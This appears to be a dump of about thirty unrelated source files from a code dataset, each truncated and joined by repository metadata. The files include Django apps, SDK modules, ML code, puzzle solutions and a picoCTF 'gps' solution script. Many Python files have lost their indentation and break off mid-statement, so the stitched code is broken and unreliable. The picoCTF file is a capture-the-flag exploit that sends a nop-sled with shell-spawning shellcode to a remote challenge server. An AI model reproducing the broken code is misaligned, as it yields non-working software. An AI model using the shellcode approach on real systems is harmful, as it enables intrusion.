If there are multiple solutions, return any subset is fine.
"""
class Solution:
def largestDivisibleSubset(self, nums) -> List[int]:
if no... | [
"[email protected]"
] | |
8e81d9fa2913d6a02e05fbb400cf98948cbc3c60 | 6e68584f2819351abe628b659c01184f51fec976 | /Centre_College/CSC_117/CSC_117_Python_Files/custom_library.py | b0fe3dea23a2323e7f981eba4de241d6c2dc5a3d | [] | no_license | DanSGraham/code | 0a16a2bfe51cebb62819cd510c7717ae24b12d1b | fc54b6d50360ae12f207385b5d25adf72bfa8121 | refs/heads/master | 2020-03-29T21:09:18.974467 | 2017-06-14T04:04:48 | 2017-06-14T04:04:48 | 36,774,542 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,531 | py | ###
### A custom library to make CSC 117 labs quicker
###By Daniel Graham
##
from graphics import *
#These save the buttons for use later
button_list = []
points_list = []
button_text_list = []
def button(win_name, button_name, x1,y1,x2,y2,buttontext, button_outline = None, button_fill=None, text_color... | [
"[email protected]"
] | |
6c84cb245a34a99d80a0b5e9643a2cc14e435e3e | f4fa497cbd99e24e242a133e002c8142051a6902 | /words/urls.py | 796ee61ba06c25dd5414fda69636f201e9dbaf5d | [] | no_license | austinbrovick/django-economics | 3b8e79a21e2a17a52e57b2a0731f4e797ee1b8c2 | 9ce51bd7e134e84409c48ae541e01456d48af2cb | refs/heads/master | 2021-01-17T12:37:47.587407 | 2016-06-20T03:44:05 | 2016-06-20T03:44:05 | 58,336,150 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 871 | py | from django.conf.urls import url
from .views import word_list, WordCreate, word_detail, DefinitionCreate, DefinitionDownVote, DefinitionUpVote, words_micro, words_macro, words_both
urlpatterns = [
url(r'^$', word_list, name='words_list'),
url(r'^create/$', WordCreate.as_view(), name='words_word_create'),
... | [
"[email protected]"
] | |
924d29ab36ead397539c2dbdea111bceb73f20aa | 781e2692049e87a4256320c76e82a19be257a05d | /all_data/exercism_data/python/bob/edbcf1a652c246b7a144d8311374fbc3.py | e715104cfa6369084ca1fb912c106baa188e1191 | [] | no_license | itsolutionscorp/AutoStyle-Clustering | 54bde86fe6dbad35b568b38cfcb14c5ffaab51b0 | be0e2f635a7558f56c61bc0b36c6146b01d1e6e6 | refs/heads/master | 2020-12-11T07:27:19.291038 | 2016-03-16T03:18:00 | 2016-03-16T03:18:42 | 59,454,921 | 4 | 0 | null | 2016-05-23T05:40:56 | 2016-05-23T05:40:56 | null | UTF-8 | Python | false | false | 240 | py | def hey(message):
message = message.strip()
if not message:
return 'Fine. Be that way!'
if message.isupper():
return 'Woah, chill out!'
if message.endswith('?'):
return 'Sure.'
return 'Whatever.'
| [
"[email protected]"
] | |
cb69a7b7282f4fb2539a466dee032cf0532748eb | 78d5a6e0846cb6b03544e4f717651ca59dfc620c | /treasury-admin/interface/migrations/0005_auto_20171026_1641.py | 47e6661136111d9a0fd9cdbb9048864ba031a0c8 | [] | no_license | bsca-bank/treasury-admin | 8952788a9a6e25a1c59aae0a35bbee357d94e685 | 5167d6c4517028856701066dd5ed6ac9534a9151 | refs/heads/master | 2023-02-05T12:45:52.945279 | 2020-12-13T08:07:41 | 2020-12-13T08:07:41 | 320,323,196 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 502 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.6 on 2017-10-26 15:41
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('interface', '0004_auto_20171026_0918'),
]
operations = [
migrations.RemoveField(
... | [
"[email protected]"
] | |
b674cb6e1d39ea0db9ce015053153a2bdaba5038 | 699cad5fee497cce94463decf1bf2b811e3fd244 | /16이미지요리/watermark.py | 783d8c4b885bcab80a88fe98c929e68daade41b9 | [] | no_license | Jeonghwan-Yoo/brain_python3 | 91974019a29013abe8c9f9ed132c48b404259e2f | a22e870515e760aaa497cbc99305977cf2f01a3d | refs/heads/master | 2020-07-27T00:02:29.604848 | 2019-09-16T13:16:09 | 2019-09-16T13:16:09 | 208,802,993 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 426 | py | import sys
from wand.image import Image
if len(sys.argv) < 3:
print('{0} <Image 1> <Image 2>'.format(sys.argv[0]))
sys.exit()
image1_path=sys.argv[1]
image2_path=sys.argv[2]
with Image(filename=image1_path) as image1:
with Image(filename=image2_path) as image2:
with image1.clone() as clone:
... | [
"[email protected]"
] | |
9ecbb22d8a49abc54ee231701a047f52f535810c | 099da16d748e89106b6abea62e49641afe68d04b | /migen/build/platforms/upduino_v1.py | 8f41eb95fde882e115a3239ed0c902de246e7fcf | [
"BSD-2-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | chipmuenk/migen | a191db2e0bbe8f6e1dfc87e54acf2ded13ce69a0 | a7eb394f46ac9d71f4598919294aa9efd1137bfe | refs/heads/master | 2020-05-18T23:29:09.950066 | 2019-11-01T18:56:14 | 2019-11-01T18:56:14 | 184,712,987 | 3 | 0 | NOASSERTION | 2019-05-03T07:08:37 | 2019-05-03T07:08:36 | null | UTF-8 | Python | false | false | 2,945 | py | from migen import *
from migen.build.generic_platform import *
from migen.build.lattice import LatticePlatform
from migen.build.lattice.programmer import IceStormProgrammer
_io = [
("rgb_led", 0,
Subsignal("r", Pins("41")),
Subsignal("g", Pins("40")),
Subsignal("b", Pins("39")),
IO... | [
"[email protected]"
] | |
d84ff8f2c78aba9a9b9af85e7fa3a9b9e16bab5c | 3ea9509a26e59fafc4f53d4c5cf82cf1c600c2dc | /nn/registry.py | 087c86b1fec4023f905a9b9be17f8b60f5d60428 | [
"Apache-2.0"
] | permissive | mgilgamesh/grl | 696230afe03d8332909452941c5d36cf23bd734c | 7d42bb2e78bc3e7b7c3ebbcf356a4d1cf12abebf | refs/heads/master | 2023-08-30T23:10:39.439264 | 2021-10-31T04:17:06 | 2021-10-31T04:17:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 925 | py | import functools
from nn.utils import Dummy
class Registry:
def __init__(self, name):
self._mapping = {None: Dummy}
def register(self, name):
def _thunk(func):
self._mapping[name] = func
return func
return _thunk
def get(self, name):
if isi... | [
"[email protected]"
] | |
5b44eb7cc37bf636603b548625f23fcca036ddc4 | 3d705ec48c94373817e5f61d3f839988910431e3 | /lib/interface/boss/bill_handler.py | 5bcbc1c4db585f80edef42bb49152c62ff1591ea | [] | no_license | namesuqi/zeus | 937d3a6849523ae931162cd02c5a09b7e37ebdd8 | 3445b59b29854b70f25da2950016f135aa2a5204 | refs/heads/master | 2022-07-24T14:42:28.600288 | 2018-03-29T08:03:09 | 2018-03-29T08:03:09 | 127,256,973 | 0 | 0 | null | 2022-07-07T22:57:57 | 2018-03-29T07:53:16 | Python | UTF-8 | Python | false | false | 6,514 | py | # coding=utf-8
"""
boss系统-计费模块 自动化用例相关的脚本
__author__ = 'liwenxuan'
20170605
"""
import time
from random import choice
from lib.database.pykafka_handler import pykafka_producer, pykafka_consumer
from lib.interface.boss.time_handler import get_second_to_int
from lib.database.mysql_db_v2 import MysqlDB
from lib.interf... | [
"[email protected]"
] | |
57a53454f6247d419b233ade15faf301089c4935 | c94a678a2b78907d79bfdbde2a0f19f345d5d68c | /code/week03/two_level_menu.py | e03ffd4315bd6fb842bf1a80b7ce673bf4c09a25 | [] | no_license | Heroes-Academy/IntroPython_Winter2017 | 7f26c009e2d2706128f2fc7ad906e95b4c7324c2 | fdf467fa95b3d0708d40711dfcc9c734c9dd1226 | refs/heads/master | 2021-01-13T03:53:20.238013 | 2017-03-12T15:21:38 | 2017-03-12T15:21:38 | 78,315,006 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 587 | py | print("My firt menu")
print("1. Hear a joke")
menu_choice = # get the selection
if # put the condition in here#
print("Do you want a rabbit joke or science joke?")
next_menu_choice = # get the next selection
if next_menu_choice == "rabbit":
print("What do you call a happy rabbit?")
print("... | [
"[email protected]"
] | |
6c3b088984d81299af5aed927b416186025fa04c | eda678c6158431430fa195fd5d51c424293fc724 | /experiments/subvariant_transfer/Snakefile | de29e27ae35c8a0f3a52d11fb6d2e2853a241462 | [] | no_license | ohsu-comp-bio/dryads-research | 8e75ecf812aa3c5139cffacf43116772d6a36376 | c5c4b9e3c5e4ae5820b1dcfa669abf222e85d0db | refs/heads/master | 2023-04-12T20:55:52.147569 | 2021-08-14T21:36:57 | 2021-08-14T21:36:57 | 139,887,441 | 0 | 3 | null | null | null | null | UTF-8 | Python | false | false | 2,196 |
import os
LOCALDIR = os.path.join(os.environ['CODEDIR'],
'HetMan', 'experiments', 'subvariant_transfer')
TMPDIR = os.path.join(os.environ['TEMPDIR'],
'HetMan', 'subvariant_transfer',
"{}__samps-{}".format(config['cohorts'],
... | [
"[email protected]"
] | ||
96ee7dbb079ed5aff687ac0b049615f1919675e7 | 3d8838dab84f880a9131994608c146c032eaaa6f | /uevents/views.py | ff56af7d1111b36e4ef3a3c1ec4a29826f35ed93 | [] | no_license | sergiosalonso/uevents | 9f69c0d09a51216b3de67b37d5b2901557a32157 | 94d5adb36488194657c65817dc8ba45b16ce416a | refs/heads/master | 2022-05-07T22:08:10.155075 | 2019-05-07T09:08:48 | 2019-05-07T09:08:48 | 185,363,746 | 0 | 0 | null | 2022-04-22T21:13:03 | 2019-05-07T09:02:57 | Python | UTF-8 | Python | false | false | 253 | py | from django.views.generic import TemplateView
class IndexView(TemplateView):
template_name='index.html'
class LogOutView(TemplateView):
template_name='success_logout.html'
class LogInView(TemplateView):
template_name='success_login.html'
| [
"[email protected]"
] | |
30c0310b3a8e60252424745a39a32a7ea679b905 | 2c9b77d91f1ba7ece443711c8c9c7280732b07fe | /time_trial_gui/lib/racer_driver/echo_trial_job.py | a4672c7d5f55994814ec380c55f7755607ad3925 | [
"MIT"
] | permissive | andresriancho/time_trial | d68c06dfc7fa2fc6c396b6e813d8df23ad068f76 | d7a23dae0bc4e2ecb3eb1ea0f4a94e21861571cc | refs/heads/master | 2021-01-18T02:34:46.045593 | 2015-10-30T16:46:38 | 2015-10-30T16:46:38 | 45,219,305 | 0 | 1 | null | 2015-10-30T00:33:01 | 2015-10-30T00:33:00 | null | UTF-8 | Python | false | false | 524 | py | import subprocess
CPP_ECHO_TIMING_EXECUTABLE = "../racer/bin/run_timing_client"
def run_echo_trial_job(trial):
print("Executing Echo Trial...")
#TODO: get this from a config file
cmd = []
cmd.append(CPP_ECHO_TIMING_EXECUTABLE)
cmd.append(trial.target_host)
cmd.append(str(trial.target_port))
... | [
"[email protected]"
] | |
9cfc1c903389414320a80047a53517d24b5020bd | 283bbf2ce575ea72010e9823907285b08d20fce4 | /breathecode/authenticate/migrations/0001_initial.py | 401599c5ba55399253edb86f4edba14a5ef0a547 | [] | no_license | AnMora/apiv2 | c084ffcb4ff5b7a0a01dac8fca26f4f4c37aad97 | fa3b3f0ce4a069facdecd18e133c7b4222a0004a | refs/heads/master | 2023-05-19T23:00:34.257230 | 2021-06-08T21:17:56 | 2021-06-08T21:17:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,355 | py | # Generated by Django 3.0.7 on 2020-06-16 06:25
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
ope... | [
"[email protected]"
] | |
3c228e9863635cdf5f5389d7f9a128c741ce52bc | c934e7c27f0e72385218a14b4e2a7e94a747a360 | /google-cloud-sdk/lib/googlecloudsdk/command_lib/util/crc32c.py | 42382ea1e774df38f8d3f3912594d1f689df477a | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | PrateekKhatri/gcloud_cli | 5f74b97494df4f61816026af9460b9c4d8e89431 | 849d09dd7863efecbdf4072a504e1554e119f6ae | refs/heads/master | 2023-03-27T05:53:53.796695 | 2021-03-10T04:08:14 | 2021-03-10T04:08:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,121 | py | # -*- coding: utf-8 -*- #
# Copyright 2021 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | [
"[email protected]"
] | |
eadc5422a39457611dd5e83a0283a5b1f65b9fe1 | f9d564f1aa83eca45872dab7fbaa26dd48210d08 | /huaweicloud-sdk-apig/huaweicloudsdkapig/v2/model/app_code_base_info.py | 306617ad18fd84a8907b99a86bf0874ecf9207a2 | [
"Apache-2.0"
] | permissive | huaweicloud/huaweicloud-sdk-python-v3 | cde6d849ce5b1de05ac5ebfd6153f27803837d84 | f69344c1dadb79067746ddf9bfde4bddc18d5ecf | refs/heads/master | 2023-09-01T19:29:43.013318 | 2023-08-31T08:28:59 | 2023-08-31T08:28:59 | 262,207,814 | 103 | 44 | NOASSERTION | 2023-06-22T14:50:48 | 2020-05-08T02:28:43 | Python | UTF-8 | Python | false | false | 5,356 | py | # coding: utf-8
import six
from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization
class AppCodeBaseInfo:
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute na... | [
"[email protected]"
] | |
d823a54db8bd861ca7aad7a392278d086fec9ee3 | 002f694e38c4b028e70b393510eaa98eb3b4d20f | /ga3c/EnvironmentHandler.py | 8d60913691d177b0b2c7fa4f25f75fe3f2750de8 | [] | no_license | jmribeiro/HybridGA3C | 993cb4579ba0253b3b10a2160982398a0ca07e09 | 9b452e877c5c6ca0e8482c9ba3d6c3d9df7acec1 | refs/heads/master | 2020-03-08T15:09:47.305742 | 2018-04-19T14:20:23 | 2018-04-19T14:20:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,777 | py | from queue import Queue
import gym
import numpy as np
import scipy.misc as misc
import Config
class EnvironmentHandler:
def __init__(self, render, render_lock):
self.environment = gym.make(Config.ATARI_GAME)
self.action_space = self.environment.action_space.n
self.lookback_memory = Queu... | [
"[email protected]"
] | |
23ff84bfd5f8cbbc3030ea2a7ba5a7f0bb1b580c | 73eb0cd7364a35cbc44b9d51bc7ff63d9646d540 | /Python Cheat sheets/Classname.py | 4aa4f0aed6fc6ac21c461e297e34912fc9a5dbee | [] | no_license | RMJ2/DI_bootcamp | 09ac8f5b9915db641f0f29fd0f556d43907b3b21 | 632338d57fc4c838a4eb201056e6651b865740a2 | refs/heads/main | 2023-03-08T16:16:15.015672 | 2021-02-23T09:04:23 | 2021-02-23T09:04:23 | 329,610,659 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,037 | py | # Step 1
# Create a new class called Animal.
# It should take 2 parameters, "species" and "habitat"
# (make the class defintion and the init method)
# Step2
# add another parameter to your class, which is the sound that the animal makes.
# write a method called talk, that prints out the animals sound.
# Step3
# creat... | [
"[email protected]"
] | |
5d8c946b3c08384e5b38e1628c8a3c8731002b8e | b049a961f100444dde14599bab06a0a4224d869b | /sdk/python/pulumi_azure_native/alertsmanagement/v20210401/__init__.py | b63d1d0b1d3561f095248d826033a4565d0bb685 | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | pulumi/pulumi-azure-native | b390c88beef8381f9a71ab2bed5571e0dd848e65 | 4c499abe17ec6696ce28477dde1157372896364e | refs/heads/master | 2023-08-30T08:19:41.564780 | 2023-08-28T19:29:04 | 2023-08-28T19:29:04 | 172,386,632 | 107 | 29 | Apache-2.0 | 2023-09-14T13:17:00 | 2019-02-24T20:30:21 | Python | UTF-8 | Python | false | false | 389 | py | # coding=utf-8
# *** WARNING: this file was generated by pulumi. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
from ... import _utilities
import typing
# Export this package's modules as members:
from ._enums import *
from .get_smart_detector_alert_rule import *
from .smart_detec... | [
"[email protected]"
] | |
9ebfefbdb3f40d1c7ba46b70b96d8d45174cab84 | 1a964c7860f9d95c31ca4b8fd4d36a74da1cbf2f | /ParsingWebsite/venv/bin/pip3.7 | b012e092643cb6604adcbaf8463d46f14d877e20 | [] | no_license | azatnt/ParsingKolesa | 8aebb2159ef6d2458604b4530809ca55c0fd5b33 | c20cea97acb3a25f9ac6632de7afea38df59332f | refs/heads/main | 2023-02-20T09:13:16.431579 | 2021-01-25T09:31:59 | 2021-01-25T09:31:59 | 332,691,514 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 265 | 7 | #!/Users/sulpak/PycharmProjects/ParsingWebsite/venv/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from pip._internal.cli.main import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"[email protected]"
] | |
01d218f4d47a23dac5ba88de6147b92fbf6542a9 | e073d58c135e4b27b861946a6e84aa5b2e0ae7f2 | /datastructure/trie_tree/FindWords.py | 0a243c9f396bfd1364a4582bc2eff965ce8faf41 | [] | no_license | yinhuax/leet_code | c4bdb69752d441af0a3bcc0745e1133423f60a7b | 9acba92695c06406f12f997a720bfe1deb9464a8 | refs/heads/master | 2023-07-25T02:44:59.476954 | 2021-09-04T09:07:06 | 2021-09-04T09:07:06 | 386,097,065 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,529 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : Mike
# @Contact : [email protected]
# @Time : 2021/2/12 16:42
# @File : FindWords.py
from typing import List
"""
给定一个 m x n 二维字符网格 board 和一个单词(字符串)列表 words,找出所有同时在二维网格和字典中出现的单词。
单词必须按照字母顺序,通过 相邻的单元格 内的字母构成,其中“相邻”单元格是那些水平相邻或垂直相邻的单元格。同一个单元格内的字母在一个单词中不允许被重复... | [
"[email protected]"
] | |
b8cb1da9859a8b7d3e73511d1f3d1e79c33b94ba | b987d02490ab85b51f95d04a18731c1718b740fd | /ctpn_new/network/anchorlayer/proposal_target_tf.py | 5849421c836ecb9440008a3b4f7f6fcae493d893 | [] | no_license | lzd0825/text_detection_main | 2948a4600ea9d1109ba7d1ddb163b634531f91a2 | e2b5defd44fd31135be1bf8f7129d0e656d4a2ac | refs/heads/master | 2020-03-27T20:22:09.179680 | 2018-04-03T12:10:20 | 2018-04-03T12:10:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,657 | py | from .generate_anchors import generate_anchors
from lib import load_config
import numpy as np
from .anchor_nms_pf import anchor_nms
cfg = load_config()
def proposal_layer(rpn_cls_prob_reshape, rpn_bbox_pred, im_info, _feat_stride=(16,)):
"""
'rpn_cls_prob_reshape': softmax以后的概率值,形状为(1, H, W, Ax2)
'rpn_bb... | [
"[email protected]"
] | |
3a2fc39ab03587a3455433a7490ceb28ba16c6a7 | 373035950bdc8956cc0b74675aea2d1857263129 | /spar_python/report_generation/ta1/ta1_analysis_input.py | 874d943a04b1e044f025d7ffc970b415bbae653f | [
"BSD-2-Clause",
"BSD-3-Clause"
] | permissive | limkokholefork/SPARTA | 5d122cd2e920775d61a5404688aabbafa164f22e | 6eeb28b2dd147088b6e851876b36eeba3e700f16 | refs/heads/master | 2021-11-11T21:09:38.366985 | 2017-06-02T16:21:48 | 2017-06-02T16:21:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,808 | py | # *****************************************************************
# Copyright 2013 MIT Lincoln Laboratory
# Project: SPAR
# Authors: SY
# Description: A analysis input class
#
#
# Modifications:
# Date Name Modification
# ---- --... | [
"[email protected]"
] | |
05ac163c99119bb20a966bfb6c4d464daccb8fdf | f48f9798819b12669a8428f1dc0639e589fb1113 | /office/misc/t1utils/actions.py | 4646311793129d513d7af2b63c65c2693fad65e7 | [] | no_license | vdemir/PiSiPackages-pardus-2011-devel | 781aac6caea2af4f9255770e5d9301e499299e28 | 7e1867a7f00ee9033c70cc92dc6700a50025430f | refs/heads/master | 2020-12-30T18:58:18.590419 | 2012-03-12T03:16:34 | 2012-03-12T03:16:34 | 51,609,831 | 1 | 0 | null | 2016-02-12T19:05:41 | 2016-02-12T19:05:40 | null | UTF-8 | Python | false | false | 505 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright 2006-2009 TUBITAK/UEKAE
# Licensed under the GNU General Public License, version 2.
# See the file http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
from pisi.actionsapi import autotools
from pisi.actionsapi import pisitools
from pisi.actionsapi import get
de... | [
"[email protected]"
] | |
3252542c883a849ab435d4838cce3bbf887c8247 | f576f0ea3725d54bd2551883901b25b863fe6688 | /sdk/synapse/azure-mgmt-synapse/azure/mgmt/synapse/aio/operations/_library_operations.py | 990d2d64e53b57c638fc900f4358193a5994d38a | [
"MIT",
"LicenseRef-scancode-generic-cla",
"LGPL-2.1-or-later"
] | permissive | Azure/azure-sdk-for-python | 02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c | c2ca191e736bb06bfbbbc9493e8325763ba990bb | refs/heads/main | 2023-09-06T09:30:13.135012 | 2023-09-06T01:08:06 | 2023-09-06T01:08:06 | 4,127,088 | 4,046 | 2,755 | MIT | 2023-09-14T21:48:49 | 2012-04-24T16:46:12 | Python | UTF-8 | Python | false | false | 5,218 | py | # pylint: disable=too-many-lines
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRe... | [
"[email protected]"
] | |
e000797abae0baf2ef7c3b2faedebcc2cf39dbd4 | 98c6ea9c884152e8340605a706efefbea6170be5 | /examples/data/Assignment_2/jblmuz001/question1.py | 2a078b63ff7024e2ae2a73d45ec3628af59c4b52 | [] | no_license | MrHamdulay/csc3-capstone | 479d659e1dcd28040e83ebd9e3374d0ccc0c6817 | 6f0fa0fa1555ceb1b0fb33f25e9694e68b6a53d2 | refs/heads/master | 2021-03-12T21:55:57.781339 | 2014-09-22T02:22:22 | 2014-09-22T02:22:22 | 22,372,174 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 187 | py | #Question 1
import math
x=eval(input("Enter a year:\n"))
if(x%400==0 or (x%4==0 and x%100!=0)):
print(x, "is a leap year.")
else:
print(x, "is not a leap year.")
| [
"[email protected]"
] | |
c466266df26b42152c21f2fafa8ea9251a2c1683 | cd014fae6791f51a9a382f34dbdcee6d61d84e30 | /62_From_the_border_of_hell/62.py | 6e0657bcb1f623ade641513504631b8ec63c4cef | [
"Apache-2.0"
] | permissive | ckclark/Hackquest | 1505f50fc2c735db059205d1c9bbba1832cc5059 | 65ed5fd32e79906c0e36175bbd280d976c6134bd | refs/heads/master | 2021-01-16T19:32:29.434790 | 2015-09-29T13:39:04 | 2015-09-29T13:39:04 | 42,388,846 | 13 | 5 | null | null | null | null | UTF-8 | Python | false | false | 665 | py | question = [
'''Toni, I write you this letter tonight with''',
'''ebony pen and ink, to show my deep love''',
'''and to give you my advise. If you pack your bag''',
'''later tonight, do not feel responsible for future''',
'''happenings, as they aren't your fault. Even, if a''',
'''small part ins... | [
"[email protected]"
] | |
7ad1139df56926c27e7758e42935202a504b94cb | cb5093d193352c521dcc60da62dd8fc8a3564231 | /devel/lib/python2.7/dist-packages/rqt_multiplot/__init__.py | bf5cb228f8bf0f85959b0386f71f9ff7b566ee4d | [] | no_license | ElliWhite/proj515_ws | 85555dbad029d7fd10c8ffbfb8352b9cd7b4db53 | ce51e547f2f4761850cef9116a85a34b232160c6 | refs/heads/master | 2020-04-23T22:11:59.284827 | 2019-05-24T16:46:30 | 2019-05-24T16:46:30 | 171,493,779 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,054 | py | # -*- coding: utf-8 -*-
# generated from catkin/cmake/template/__init__.py.in
# keep symbol table as clean as possible by deleting all unnecessary symbols
from os import path as os_path
from sys import path as sys_path
from pkgutil import extend_path
__extended_path = "/home/elliottwhite/proj515_ws/src/rqt_multiplot... | [
"[email protected]"
] | |
b8d68d8d894d6c17419300003a7d20d74344d72a | c9a809c5ef2a6b5e7e50da548c182510d203f430 | /salt/runners/state.py | c518e3a0d78bbbd446286c27c563e844fd7152c4 | [
"Apache-2.0"
] | permissive | andyyumiao/saltx | 676a44c075ce06d5ac62fc13de6dcd750b3d0d74 | a05c22a60706b5c4389adbd77581b5cf985763b5 | refs/heads/master | 2022-02-24T00:51:42.420453 | 2022-02-09T06:46:40 | 2022-02-09T06:46:40 | 231,860,568 | 1 | 5 | NOASSERTION | 2022-02-09T06:46:40 | 2020-01-05T03:10:15 | Python | UTF-8 | Python | false | false | 7,000 | py | # -*- coding: utf-8 -*-
'''
Execute orchestration functions
'''
# Import pytohn libs
from __future__ import absolute_import, print_function
import logging
# Import salt libs
import salt.loader
import salt.utils
import salt.utils.event
from salt.exceptions import SaltInvocationError
LOGGER = logging.getLogger(__name__... | [
"[email protected]"
] | |
8f1eca7502fed553159d86ab0a9a9fc3b4e6cc4e | 830465731dfda87b4141546262f20d74c29297bf | /PWN/picoCTF2018/gps/sol.py | 30b5d3d95371c78ea26ca454d6de1719db8ff1e5 | [] | no_license | jchen8tw-research/CTF | f559d7ca0e16a730335b11caeeae208c42e8bf17 | f49615c24437a9cc6a2c20d6b30cb5abf7a32b71 | refs/heads/master | 2023-03-17T12:29:08.630613 | 2021-03-23T06:31:26 | 2021-03-23T06:31:26 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 591 | py | #coding=utf-8
from pwn import *
import re
#context.log_level = 'debug'
#context(arch='amd64', os='linux', bits = '64')
context.binary = './gps'
debug = 0
if not debug:
r = remote('2018shell.picoctf.com', 49351)
else:
r = process('./gps')
nop = asm(shellcraft.nop())
shell = asm(shellcraft.sh())
#shell = asm(pwnli... | [
"[email protected]"
] | |
7d06158920b29367d17b448de2179236f193de27 | b19c9fe62eaa309851dc11f6fd7a05bda463fb58 | /bigfish/apps/reports/urls.py | 5e6efab43043385bd460b9f0af28d1b83c72092f | [] | no_license | hyu9999/bigfish | 3ff3b025982e71bd6dd80f60ad6c70e735e98936 | 4189fdcacc20795a4778b53c9d47d6fdd3e71811 | refs/heads/master | 2022-07-08T13:55:12.908583 | 2019-03-22T09:36:12 | 2019-03-22T09:36:12 | 177,055,829 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 676 | py | from django.conf.urls import url
from rest_framework import routers
router = routers.SimpleRouter()
# router.register(r'studies/enters', EnterStudyViewSet)
# router.register(r'studies/conversations', ConversationViewSet)
# router.register(r'studies/savedatainfo', SaveDataInfoViews)
# router.register(r'studies/saveda... | [
"[email protected]"
] | |
ab77d94e70a98628a260f53902bdd8a90be36265 | ab1d0fcd4900e0a88d49999cbbde4b06cc441e5d | /Labs/Lab 3/Lab3/Boids.py | fd61d89efc38e7991605f09d6257f5c325460d9d | [] | no_license | ThomasMGilman/ETGG1803_ConceptsOf3DGraphicsAndMath | bf261b7ce16bb686e42b1a2600aa97b4f8984b65 | fdf4e216b117769246154cd360b2c321f4581354 | refs/heads/master | 2020-03-29T23:14:05.715926 | 2018-09-26T17:18:25 | 2018-09-26T17:18:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,695 | py | import flock
import pygame
import math3d
import random
# Pygame startup
pygame.init()
win_width = 800
win_height = 600
screen = pygame.display.set_mode((win_width, win_height))
fontObj = pygame.font.SysFont("Courier New", 12)
clock = pygame.time.Clock()
done = False
paused = False
# This is a list of circular "obstac... | [
"[email protected]"
] | |
52e69b7d9ab9be96457650a33223304431a7087b | 583d03a6337df9f1e28f4ef6208491cf5fb18136 | /dev4qx/madeira/handlers/data/zhixin.py | 575cabc375e33c3480809e11ab34c9e4197cd44f | [] | no_license | lescpsn/lescpsn | ece4362a328f009931c9e4980f150d93c4916b32 | ef83523ea1618b7e543553edd480389741e54bc4 | refs/heads/master | 2020-04-03T14:02:06.590299 | 2018-11-01T03:00:17 | 2018-11-01T03:00:17 | 155,309,223 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,763 | py | # 智信接口
import logging
import json
import time
import tornado.gen
from tornado.httpclient import AsyncHTTPClient, HTTPError
from utils.encryption_decryption import to_md5
request_log = logging.getLogger("madeira.request")
RESULT_MAP = {
'2': 0, # 成功
'602': 9, # 服务器数据接收异常
'603': 9, # 请求数据参数格式错误
'6... | [
"[email protected]"
] | |
b39e713e9b9d37a4a0137e5f0283d1dbfadfd28d | 3986a89bb2c7fbc679dae33b0e1c280caa032885 | /marketing/models.py | 7f955fcc2f80924dcb266fe5005f66793ebf8076 | [] | no_license | sajalmia381/ecommerce | 9d46d9e00b5c58b294bc6d96019d389a24f57952 | 9e09da97c714b42bb415ff3cce87ff91cd69f925 | refs/heads/master | 2022-12-11T15:00:37.643467 | 2019-08-12T14:20:45 | 2019-08-12T14:20:45 | 123,375,046 | 0 | 0 | null | 2022-12-08T02:10:36 | 2018-03-01T03:09:26 | CSS | UTF-8 | Python | false | false | 1,097 | py | from django.db import models
from django.conf import settings
from django.db.models.signals import post_save
from .utils import MailChimp
# Create your models here.
class MarketingPreference(models.Model):
user = models.OneToOneField(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)
subscribe = models.Boole... | [
"[email protected]"
] | |
